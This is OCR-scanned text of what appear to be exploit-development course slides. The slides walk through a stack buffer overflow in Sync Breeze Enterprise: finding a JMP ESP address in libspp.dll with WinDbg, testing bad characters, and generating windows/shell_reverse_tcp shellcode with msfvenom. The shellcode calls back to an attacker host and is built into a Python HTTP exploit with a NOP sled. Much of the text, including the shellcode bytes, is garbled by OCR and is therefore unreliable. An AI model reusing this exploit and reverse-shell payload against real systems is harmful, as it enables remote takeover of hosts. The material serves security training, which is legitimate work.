ns f-nasm_shell

nasm > jmp esp

00000000 FFE4 jmp esp
nasm >

0:010: Inmod

00400000 00462000 syncbrs ~SafeS5EH OFF C:~Program Files~Sync Breeze Enterprise~bin“syncbrs. exe
00ad0000 00924000 libpal ~Safe5EH OFF C:~Program File=~Sync Breeze Enterprise~bin~libpal dll
009b0000 00264000 libsync ~SafeSEH OFF C:~Program Files~Sync Breeze Enterprise~bin~libsync.dll
10000000 10223000 libspp <Safe5EH QOFF C:»Programn Files~Sync Bresze Enterpris=e~bin~lib=pp.dll
Sabe0000 Sac?c000 ODBC3Z ~SafeSEH ON -GS *#ASLE *DEP C:~Windows=~S¥STEMIZ2-~0DBC32.d11

6a5d0000 6aSec000 pnrpnsp #Safe5EH OH G5 *#ASTE =*=DEFP C:~WindowsssystemidZpnrpnsp.dll

6b200000 eb217000 MPR ~SafeSEH OH G5 *#ASLE *DEP C:~Windows~SYSTEM32-HMPE .41l

6960000 6c97c000 SEVCLI ~SafeSEH ON G5 *#4A5LFE *DEFP C:~Windows=~SYSTEM32~SEVCLI.DLL

Gcbd 0000 6chbe3000 WINMMBASE #SafeSEH ON G5 *#ASTE *DEP C:-Windows~SYSTEM32-~WINMMBASE . dl1

Goc00000 6cc24000 WIHMM #SafeSEH OH ~G5 *A5LE *DEP C:~Windows=~SYSTEM3IZ2~WIHMHM.dll

0:010x = —b 10000000 10223000 ff =4

10090z83 ff =4 0Ob 09 10 02 Oc 09-10 24 0Oc 09 10 46 O 09 ... ... Slm = b o

0:010> w 10090=83 13

*¥% ARNING: [nable to werifvy checlks=um for C:“Frogram Files~5Sync Breeze Enterprise~bin™~libspp.dll
lib=pp!5SCA FileScout: GetStatusValue+0xzbh3:

1009083 ff=d mp esp
10090=85 0bO9 ar ecx,dword ptr [ecx]
1009087 1002 adc byte ptr [edx].al

14/10/2025 50



update exploit

14/10/2025

struct 1mport pack

server

port

.
- --
alrlE

buf = b"A" *

buf += pack( ",
buf += b"C" % ( -

content = b"usernamez="

—+

(buf))

buf +

0 xpas

N Y
word=A

51



BP JMP ESP

3 pid 7976 - WinDbg:10.0.18362.1 X86 — *
File Edit View Debug Window Help
=2 [EL e B G0 " EELEEREOEE| 8] A B
Disassembly n
Of'fset:|@$scopeip Previous Next Virtual: |e=p Display format: | Long Hex ~ | || Previous Mext
[01be744f 41 inc SCHE 01be?45c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434 &
01be?450 41 ins SCHE 01be748c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?451 41 inc SCHE 01be74bc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?452 41 inc SCHE 0lbe7dec 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7453 41 inc SCHE 01be7?51lc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?454 83020910 or dword ptr [ecz+ecz].llh 01be?54c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?458 43 ins ebx 01be?57c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7459 43 inc eh= 01be?5ac 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45a 43 inc ebx 01be?5dc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7455 4 b 01be?60c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
l1lbe 01be?6ldc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be745d 43 shx 01lbe?6bc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45e 43 1 ebx 01be769c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?45f 43 ebx 0lbe?bcc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be7460 43 i b= 0lbe76fc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?461 43 1 ebx 01be?72c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?462 43 1 ebx 01be?75c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 0000000
01be?463 43 ebx 01be?78c 00000000 0000OO0O OO0O0OO0OO00 OOO0Q0OOOO0 00000000 0OOOOOOO Q0000000 0000000 00000000 QOO0OO0OO0O0 0O0OdO0d0 O000d0o
0lb=7464 43 ehx M1 k=77~ OONAANNA AAAAAANAN AAAAANNA AOAANANAN AAAAAANN AAAAAANN ANANAANN ANAANANN ANAAAAAN AAAANAAN ANAAAAAN ANAANAA
01be7465 43 inc ehx € >
0:010: bp 0x10090c83
*xx TARHIAG. Unable to verifv checksum for C:“Program Files“Sync Breeze Enterprise~bin~libspp.dll
0:010: g
Breakpoint 0 hit
=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde =di=00eb3570
eip=10090c83 esp=01be?45c ebp=004abf20 iopl=0 nv up i pl nz na po nc
cs=001b ===0023 d=s=0023 e=s=0023 {==003b g==0000 efl=00000202
lib=pp!SCA_FileScout: : GetStatusValue+0zbi:
1009083 fied imp esp {01h=745c)
u:oius p
Breakpoint 0 hit
=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde =di=00eb3570
eip=10090c83 esp=01be?45c ebp=004abf20 iopl=0 nv up i pl nz na po nc
c==001b ===0023 d=s=0023 e=s=0023 {==003b g==0000 efl=00000202
lib=pp!SCA_FileScout: : GetStatusValue+0zbi:
1009083 ffed Imp ezp {01b=745c}
0:010: p
=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde edi=00eb3570
eip=01be745c esp=01be?45c ebp=004abf20 iopl=0 nv up =i pl nz na po nc
c==001b ===0023 ds=0023 es=0023 {==003b g=s=0000 efl=00000202
01be745c 43 inc ehx
|o:010> |
Ln0,Col0 SysO:<lLocal> Proc000:1f28 Thrd 010:1438 ASM OVR  CAPS NUM
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\x00 = bad
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- |:] II.'l:I| L] +

+= pack(

e |:]”.'-_".| "o

hadchars

|:] " [:: " +

+

(buf))

butf +
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send and resend and resend...

&) Pid 5384 - WinDbg:10.0.18362.1 X85
File Edit View Debug Window Help

| Disglarformat B:{te

& | BlEEHED B d [ONBPEADEEREDOBE| ] A
Oﬁsaﬂ@SSCDpeip ...... Virtual
Ho i izassembly possible 01e5745c
11 =4 ] 1 - 01=57476
10090c85 0bO9 or ecx, dvord ptr [ecx] 01e57490
10090=87 1002 adc byte ptr [edxz].al 01e574aa
1009089 0cO09 or al. 9 01e574cd
10090=8b 10240c adc byte ptr [espt+ecz].ah 01e574de
100908 0910 or dword ptr [sax].ed= 01e574£f8
1009090 46 inc esi 01257512
10090c=91 OcO09 or al, 9 01e5752c
10090=93 109090909090 adc byte ptr [eax—-6F&FEF70h].dl 0157546
10090=99 90 nop 0157560
10090=%a 90 nop 01e5757a
1009090 90 nop 01=57594
10090c9c 90 nop 0le575ae
10090=9d 90 nop 01=575c8
10090=%= 90 nop 01e575e2
10090=9f 90 nop 01=eE7Cfc
lib=pp!SCA FileScout: :SetFileCallbacl: 01e57616
10090cal 8b442404 now gax, dvord ptr [esp+d] 01e57630
10090cad 8b542408 now edx, dvord ptr [esp+8] 0leb764a
10090ca8 898154040000 Mo dword ptr [ecz+454h]. eax 01e57664
01e5767e
01e57698
Command 01e576b2
0:010> bp 0x10090c83 RS Sisce
*%% WARNING: Unable to werify checksum for C:“Program Files“Sync Breeze Enterprisesbin“libspp.dll g%egggﬁg
0:010x g <
Breakpoint 0 hit 0les7?la
Sax=00000001 ebx=00000000 scx=004bs5a2 edx=0000032e esi=004b3f3e edi=00d23570 01e57734
£ip=10090c83 esp=0125745c ebp=004b2110 iopl=0 nv up ei pl nz na po nc Dles?74e
cs=001b  ===0023 ds=0023 es=0023 fs=003b g==0000 =£1=00000202 Q1Soies
libspp!SCA FileScout::GetStatusValue+lzbd: 0157782
10090c83 fi=d jmp esp {01s5745c} DIESiass
01=577k6
01e577d0
01le577ea
01e57804
01e5781e
01=57838
01e57852
01eS5786c
01e57886
01e578a0
01e578ba
01e578d4
[oo1zs | <
Ln
14/10/2025

. Col 0 Sys D:<Local=

Proc 000:1508  Thrd 012:15a4

ASM

OVR

CAPS

>

MNUM
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bad chars found

badchans badchars
b"\x081\x02\x0 7A x09\xBb\x0Bc )f\x10 b"\x81\xC
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1la\x1b\x1c\x1d\x1le\x1f\x2€ b*\x11\x
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\ «2d\x2e\x2f\x30 b*"\x2
b"\X41\x42\x43\x44\x45\x46\x4T\x48\x49 \xb4a\x4b\x4c\x4d\ x4e\x4F\ x50 \x41\x¢

b

b

b
]

0x00, Ox0A, Ox0D, 0x25, 0x26, 0x2B, Ox3D
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good chars only

T Pid 6004 - WinDbg:10.0.18362.1 X286 = X
File Edit View Debug Window Help
=l BlElf=H=m e d (O ERGEEREEOSE] G A
Memary n
Offset: ‘@Sscopeip Virtual: ~ | || Previous Nest
isassenbly possible . 01da745c001 02 03 04 05 06 07 08 09 Ob Oc Os Of 10 11 12 13 14 15 16 17 16 19 la lb 1o ff ... ... .. R ~
1 L oo LSt () =, = /0123456789
10090c85 ecx.dvord ptr [ecz] ;<> ?@ABCDEFGHIJELMHOPORST
1009087 adc byte ptr [edz].al UYWEYZ[~]"_"abcdefghijklnn
10090c89 or al,? opgratuvwEyz |, ...
10090c8b 10240c adc byte ptr [espt+ecx].ah
100908 0910 or dword ptr [esx]l.ed=  n1da74f @ a2 a4 a5 ab a? a9 29 az ab ac ad a= af B0 bl b2 B2 b4 BE bBE b? B2 B9 ba BB b N ..
10090c30 46 inc esi o 01da7512 bd be bf ol ol c2 cicd o cb o7 cl oY cach oo cd ce of A0 dl d2 d3 A4 d5 A6 ...
1009091 0c09 or al.d
1009093 109090909090 adc byte ptr [eaz—&F&¢FeF?70R].AL 01da?C4e) f1 £2 £3 f4 £5 f6 £7 £8 £9 fa fb fc fd fe £ff 43 43 43 43 43 43 43 43 43 43 430 .. ... ... .. . CEECECEEEEE
10030299 90 nop CCCCCCOCCCCCCCCCCCCCCCCCCe
10030e9s 90 nop 01da?57 CCCCCCCCCCCCCCCCCCCCoCCCCe
10030=9b 90 nop 01da7594 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
10030=%= 90 nop 01da75ae 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10030e3d 90 nop 01da75cB 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10030=% 90 nop 01da?E22 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090=9f 90 nop 01da?5fc 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
lib=pp!SCA_FileScout::SetFileCallback: 01da76l6 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090=a0 8h442404 now eax dvord ptr [esp+d] 01da7630 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090cad 8b542408 mov edx. dvord ptr [esp+8] O01da76da 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090ca8 898154040000 nov dvord ptr [ecz+dS4h] eax 01da7664 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
01da767e 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCe
01da7698 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
01da76b2 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
0:010> bp O=10090c83 Olda7éco 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCCCCCCCCCCCe
*%* WARNING: Unable to werify checksum for C:“Program Files~Sync Bresze Enterprise~bin~libspp.dll 01da76eb 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
0:010% g 01da7700 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCOCCCC
Breakpoint 0 hit 01da771a 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCC
2ax=00000001 =b==00000000 ecx=005fa9db edz=0000034f ==i=005f2df6 edi=00=73570 01da?734 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
eip=10090c83 esp=01da?45c ebp=005ee570 icpl=0 nv up ei pl nz na po nc 01da7742 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCOCCCC
cs=001b =s=0023 ds=0023 es=0023 fs=003b g==0000 =£1=00000202 01da?768 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
libspp!SCA_FileScout: : GetStatusValus+0xb3: 01da?782 43 43 43 43 43 43 00 00 00 0O 00 OO 00 OO 0O OO0 0O OO0 OO 00 OO 0O OO0 0O 00 00 CCCCCC. ... ... ... .......
10090283 ffed imp esp {01da?45c) 01da?79c 00 00 0O 00 OO 00 OO0 0O OO0 0O 00 OO0 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 . ........ .. .. ... ..........
01da?7be 00 00 0O 00 OO 00 OO 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 ... ... ... .. ... ..........
01da?7d0 00 00 0O 00 OO 00 00 0O OO0 0O 00 OO0 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 ........... .. ... ..........
01da?7ea 00 00 0O 00 OO 00 OO0 0O OO0 OO OO0 OO 00 OO 0O OO0 0O 00 OO0 00 00 00 00 00 00 00 ......... .. ...............
01da7304 00O 00 0O 00 OO 0O OO 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 ... ... ... .. ... ..........
01da?81e 00 00 0O 00 OO 00 OO0 0O OO0 0O OO0 OO 00 OO0 0O OO0 0O 00 00 00 00 00 00 00 00 00 ........... .. ... ..........
01da?7838 00 00 0O 00 OO 0O OO0 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 . .......... .. ... ..........
01da?7852 00 00 0O 00 OO 0O OO 0O OO0 OO OO0 OO 00 OO0 0O 00 0O 00 OO0 00 00 00 00 00 00 00 ......... .. .. ... ..........
01da?86c 00 00 0O 00 OO0 00 OO0 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 .......... ..... ..........
01da7886 00 00 0O 00 OO 00 OO 0O OO0 0O OO0 OO0 00 OO0 0O OO0 0O 00 00 00 00 00 00 00 00 00 ........... ..... ..........
01da?7820 00 00 0O 00 OO 0O OO 0O OO0 OO OO0 OO 00 00 0O 00 0O 00 OO0 00 00 00 00 0O 00 00 ....... ... .. ... ..........
01da?8ba 00 00 0O 00 OO 0O OO0 0O OO0 OO OO0 OO 0O OO 0O OO0 OO0 00 OO0 00 OO0 0O 00 00 00 00 A e e
01da78d4 00 00 0O 00 OO0 00 OO0 0O 53 79 6= 63 20 42 72 65 65 7a 65 20 45 6s 74 65 72 70 ... ... . Sync Breeze Enterp w
jo:0125 | < >

14/10/2025

Ln0, Col0 Sys(i<local>

Proc 000:1774  Thrd 012:1588 ASM  OVR | CAPS

MNUM

56



sh3llcOde

14/10/2025

isfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.192 LPORT=443 -b
[-] No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
¥B6/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xbe\x@e\xed\xbe\xés\xda \xc3\xd\x74\x24\xf4"
shellcode += b"\x58%\x31\xc9\xb1\x52\x31 \x70\x12\x03\x70 \x12"
shellcode += b"\x83\xce\xed\x5c\xb1\x32\x05\x22\x3a\xca\xd6"
shellcode += b"\x&3\xb2\x2F\xeT\x43\xad\x24\x58\x74\xa2\\x68"
shellcode += b"\x55\xff\xe6\x28\xee\x8d\x2e\xaf \x&7 \x3b\x09"
shellcode += b"\x9e\x58\x10\x69\x81\xda\x6b\xbe\x61\xe2\xa3"
shellcode += b"\xb3\x60\x23\xd9\x3e\x30\xfc\x95\xed\xa4t\x89"
shellcode += b"\xe@\x2d\x&f\xcl\xe5\x35\xac\x92\x04\x17x63"
shellcode += b"\xaB\x5e\xb7\x82\x7d\xeb\xfe\x9c\x62 \ xd6\x49"
shellcode += b"\x17\x50\xac\x&b\xf1\xa8\x&d\xe7\x3c\x05\xbc"
shellcode += b"\xf9\x79\xa2\x5f\xBc\x73\xdd\xe2\x97\ x40\ xaa"
shellcode += b"\x38\x1d\x52\xBc\xca\x85\xbe\xac\x1f\x53\x35"
shellcode += b"\xa2\xd&\x17\x11\xa7\xeb\xf&\x2a\xd3\x60\xfb"
shellcode += b"\xfc'\x55\x32\xd8\xd8\x3e\xe@\x&1\x79\xOb\x47"
shellcode += b"\x7d\x99\x&&\x37\xdb\xd2\x69\x2c\x56\xbI\xe5"
shellcode += b"\x81\x5b\x41\xf6\xBd\xec\x32\xcs\x12\x47\xdc
shellcode += b"\x6&4\xda\x41\x1b\xBa\xf1\x36\xb3\x75\xfa\x46"
shellcode += b"\x%a‘\xbl\xae\x16\xb&\x10\xcf\xfc\xss\x9c\x1a"
shellcode += b"\x52\x14\x32\xf5\x13\xc&\xf2\xa5\xfb\x0e\xfd"
shellcode += b"\x%a\x1c\x31\xd7\xb2\xb7\xc8\xb0\x7c\xef\xff"
shellcode += b"\xB80\x15\xf2\xff\x01\x5d\x7b\x19\x6b\xb1\x2a"
shellcode += b"\xb2\x04\x28\x77\x48\xb4\xb5\xad\x35\xf6\x3e"
shellcode += b"\x42\xca\xb9\xb6\x2f\xd8\x2e\x37\x7a\x82\xf9"
shellcode += b"\x48\x50\xaa\x66\xda\x3f\x2a\xe®\xc7\x97\x7d"
shellcode += b"\xa5\x36\xee\xeb\x5b\x60\x58\x09\xab\xf4\xa3"
shellcode += b"\x89\x7d\xc5\x2a\x10\xf3\x71\x09\x02\xcd\x7a"
shellcode += b"\x15'\x76\x81\x2c\xc3\x20\x67 \x87\xa5\x9a\x31"
shellcode b"\x74\x6c\xsa \ xcT\xbb\xaf\x0c\xc8\x92\x59\xf0"
shellcode b"\x79\x&b\x1c\x0F\xb5\x1b\xaB8\x68\xab\xbb\x57"
shellcode b"\xa3\x6f \ wdb\xb5\x61\x0a\x74\x60 \xed\x27\x19"
shellcode b\ x93\ xdf\x6& \ k26 \x10\xd 5 \x14 \xd 3\ k0B \x9c\x11"
shellcode b"\x9f\x8e\x&d\x68\xb0\x7a\x71\xdf\xb1\xae"

-t python -v

shellcode EXITFUNC=thread

57



buf += shellcode

shellcode

shellcode

shellcode

port
shellcode

size
shellcode

buf = b"A" *
shellcode

buf += pack(

shellcode

buf += b"A" *
shellcode

Dh;{{cmdp buf shellcode
shellcode buf += b"\x90" * ( - (buf))

content = b"username=" + buf + b"&password=A

shellcode
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ready, set...

T Pid 4820 - WinDbg:10.0.18362.1 X86 - *
File Edit View Debug Window Help
= [l HEDBFE (O FEEEEREOEE[E] A
Of'fset:|@$scopeip Previous Next Virtual: |ES | Disglaxformat: B:{te ~ | || Previous Next
01=37450 41 inc SCH 01=37454 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 be O= 9 be 44 da c3 d9 74 240 ... ... . . ... ... ... .. I -
01=37451 41 inc SCH 01=e3747dq £4 58 31 <9 bl 52 31 70 12 03 70 12 83 ce ed 5c bl 32 05 22 3a ca de 43 b2 2f) 1. Rlp. .p....»~.2." C.-
01=37452 41 inc SCH 01=37490@ =7 43 a0 24 58 74 a2 68 55 ff eb 98 e 8d 2e af 47 3b 09 9= 58 10 69 81 da 6b ) .C.$Ht hU... . ... G Xik
01237453 41 inc SCH 0le374agd be 61 =2 a3 b3 60 23 d9 3e 30 fc 95 ed a4 89 e0 2d 4f =1 =5 35 ac 92 04 17 63 2. . "#.:0.. .. .. —0: 5 cnnC
01237454 §30=0910 or dword ptr [ecz+ecz].l0h 01=374cq a8 5= b7 82 7d eb fe 9c 62 d6 49 17 50 ac 4b f1 a8 4d &7 3c 05 bo £9 79 a2 Gff 7. .}, . . B.I.P.K. M. <. .v._
01=37458 41 inc [=lm5:4 01=374dgq 8c 73 d0 =2 97 40 aa 38 1d 52 Oc ca 85 be ac 1f 53 35 a2 d4 17 11 a7 eb f4 2a = @ 8 R =1 *
01=37453 41 inc SCH 01=374f9 d3 60 fb fc 55 32 d8 48 3e =0 41 79 9b 47 7d 99 44 37 db d2 69 2c 56 b9 =5 81) .° .. U2, . » Av.G}.D7. . 1.V, ..
01=3745a 41 inc SCH 01=37518 5b 41 f6 8d ec 32 c4 12 47 do 64 da 41 1b 8a £f1 36 b3 75 fa 46 9a bl a= 16 b4 [4...2. .G.d. 4. .. 6.uF. . ...
01=3745b 41 inc SCH 01=3752q 10 cof fc 44 9c 1a 52 14 32 f5 13 cd4 £2 a5 fb 0= fd %9 1c 31 d7 b2 b7 c8 bO 7cf ... D..R.2... ... ... Tier e eoen 2 |
(1l=3745c 90 1o 01=37544 =f £f 80 15 £2 £f 01 5d 7b 19 6b bl 2a b2 04 28 77 48 bd bE ad 35 f6 3= 42 ca J{ k.* (wH 5. B
01=3756 b9 be 2f d8 2e 37 7a 82 £9 48 50 aa 66 da 3f 2a e0 7 97 7d a5 36 ee eb Sb 60| ... .7z, HP.f 7%= .} 6. . ["
013745 30 nop 01=37574 58 09 a6 £4 a3 89 7d =5 22 10 £3 71 09 02 cd 7a 15 76 81 2c c3 20 &7 87 ab 9af X. .. .. Jo® .g...z.v... g...
01=3745f 30 nop 01=37594 31 74 6c 4a o7 be af Oc cB 92 59 £0 79 4b 1c 0f b5 1b a8 68 ab bb 57 a3 6f dbj 1tlJ... ... 0 h. . W.o.
01=e37460 90 nop 01237529 bE 61 92 74 60 =0 27 19 93 df 64 24 10 d5 14 d3 08 9c 11 9f 8e 4d 68 b0 72 71 2. t". ' .. .ds.. ... . .. Hh . zg
01=37461 30 nop 01=375cy df bl a= 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90Q ....... ... ... ............
01e37462 30 nop 01=375=4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90Q .. ... ... ... ............
01=37463 30 nop Oled?ofc T T T o T T T T T T T T T T T T T T T T
01=37464 90 nop 01l=37616 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... . ... ... .............
0137465 30 nop 01=37630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
01e37466 30 nop 0l=3764a 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
01=37467 30 nop 01=37664 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ... ...........
01=3767= 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... .............
01=37698 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
Command 01=376b2 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
0:010> bp 0x10090c83 0le376cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
*xx WARNIHNG: Unable to werify checksum for C:~Program Files~Sync Breeze Enterprise~bin~libspp.dll 0l=376=6 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 . ... .. .. ... ... ... ... ...
0:0105 g 01=37700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
Breakpoint 0 hit 01=3771a 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
eax=00000001 =b==00000000 ecz=0063e0db ed=z=0000034f e=i=0063327= =di=00=03570 01=37734 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ..., ... ... ............
2ip=10090c83 esp=0123745c ebp=00632d80 iopl=0 nv up i pl nz na po nc 01=37742 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ... ... ..
cs=001b =s=0023 ds=0023 es=0023 fs=003b gs=0000 =f1=00000202 01=37768 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .. ... ... ... ............
libspp|SCA_FileScout : :GetStatusValus+0xb3 01=37782 90 90 90 90 90 90 00 00 OO OO OO 00 00 OO OO OO0 00 00 00 00 00 OO0 00 00 00 00 ... .. ... ...............
10090c83 ffed Jmp esp {01e3745c) 01=3779%9c 00 00 OO OO0 OO OO 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 ... ... ... ..............
0:0105 p S 01=377h6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..........................
eax=00000001 =b==00000000 ecz=0063=0db ed=z=0000034f e=i=0063327= =di=00=03570 01=377d40 00 00 OO OO OO OO 0O 0O OO0 OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 ... ... ... ..............
eip=0123745c esp=01=3745c sbp=00632d80 iopl=0 nv up i pl nz na po nc 01=377=a 00 00 00 00 OO0 OO 0O 0O OO OO OO0 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 ... ... ... . ..............
cs=001b =s=0023 ds=0023 es=0023 fs=003b gs=0000 =f1=00000202 01=37804 00 00 00 OO0 OO OO OO 0O OO OO 00 00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 00 00 ... ... ... ..............
01e3745c 90 rioD 01=3781e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 .. .. ....................
0:0105 p - 01=37838 00 00 OO OO OO OO OO 0O OO0 OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 OO0 ... ... ... ... ...........
=ax=00000001 =bz=00000000 ecz=0063=0db ed=z=0000034f e=i=0063327= =di=00=03570 01=37852 00 00 OO0 OO OO OO 0O 0O OO OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 ... .. ... ..............
2ip=0123745d esp=01=3745c sbp=00632d80 iopl=0 nv up i pl nz na po nc 0l1=3786c 00 00 00 OO0 OO OO 0O OO OO OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 00 00 ...... ... ... ... ..........
C2<001b  ==-0027 de-0023 e=-0023 fs=003b gs=0000 cf1-00000202 01=37886 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 . ... ....................
01e3745d 90 nop 01=378a0 00 00 00 OO0 OO OO OO 0O OO OO 00 00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 00 00 ... ... ... ..............
. 01=378ba 00 00 00 00 OO0 OO 0O 0O OO OO OO0 00 00 00 00 OO0 00 00 00 00 00 OO0 00 00 00 00 ... ... ... ... ...........
